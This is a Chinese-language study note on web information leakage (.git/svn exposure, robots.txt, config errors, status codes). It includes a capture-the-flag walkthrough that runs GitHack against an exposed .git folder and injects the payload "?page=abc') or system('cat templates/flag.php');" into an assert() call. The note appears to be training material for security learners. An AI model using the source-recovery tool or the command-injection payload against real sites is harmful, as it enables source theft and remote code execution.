信息泄露
类型
版本软件信息泄露
git ,svn, hg,bzr,cvs
敏感文件信息泄露
robots.txt www.zip 静态文件配置泄露
配置错误信息泄露
DS_Stroe WEB.INF Apache,Nginx 错误配置
漏洞利用
http头信息泄露
/admin/ 访问admin目录文件,默认index.html或index.php
/admin 访问admin文件,若没有就返回404 访问失败
有时候不加/ 也能访问到/admin/,因为配置文件里面进行了设置
路由(网站主流)
/user 访问的是user路由 ,根据server头判断,比如php,asp,jsp,aspx,html,shtml这些后缀是基于文件的
而这些看起来没有后缀的,或者类似于/user/login?username=admin&password=123这种形式,基于路由的,需要多次判断
200 正常
301 302 表示跳转
404 文件不存在
500 服务器内部错误
502 转发失败 error gatwary
报错信息泄露
页面信息泄露
看源代码console
robots.txt敏感文件泄露
机器人协议,爬虫协议
爬虫遵守的规则
不能访问(此地无银三百两)
不一定真,可能在钓鱼
git文件泄露
保存提交记录的文件夹文字为.git,在linux中隐藏文件
/.git/
403 有目录但不允许访问,则使用下面工具
githack
利用.git泄露利用脚本,通过泄露.git文件夹下的文件,重建还原工程源代码
渗透测试人员、攻击者,可进一步审计代码,挖掘:文件上传,sql注射等web安全漏洞
利用工作原理
解析.git/index 文件,找到工程中所有的:(文件名,文件名sha1)
去.git/objects/ 文件夹下 下载对应的文件
zlib解压文件,按原始的目录结果写入源代码
利用工具的代码
python .\GitHack.py -u “http://example.com/.git/“
例题攻防世界-mfw
python GitHack.py http://61.147.171.105:53928/.git/
templates 下面有个flag.php
访问打不开,看index.php源码
1 |
|
输出 flag 要满足以下 2 句代码,注意到第二句代码是个 assert() 断言,它可以将参数作为代码来执行。
$file = “templates/“ . $page . “.php”;
assert(“strpos(‘$file’, ‘..’) === false”)
因此我们考虑让断言执行 cat 命令,直接回显目录下的 flag.php 文件,这样就能看到其中的内容了。构造出的 payload 如下,上传得到 flag。
?page=abc’) or system(“cat templates/flag.php”);
信息泄露总结
1.robots.txt泄露(里面有可疑路径或者文件名称)
2.git/svn泄露(访问.git或者.svn目录出现403)
3.页面注释泄露(右键看源代码)、http头泄露
4.任意文件下载造成的信息泄露(可以下载WEB—INF文件夹里面的内容)
5.开源社区信息泄露,例如:泄露出项目名,而整个项目可以在github,gitee上找到
6.使用vim异常退出,可能存在类似.index,php,swp临时文件
还有一部分冷门的信息泄露,如.DS_Store泄露,nginx错误配置导致的文件泄露,因为利用效果有限或者不具有通用性,所以这里不深入了解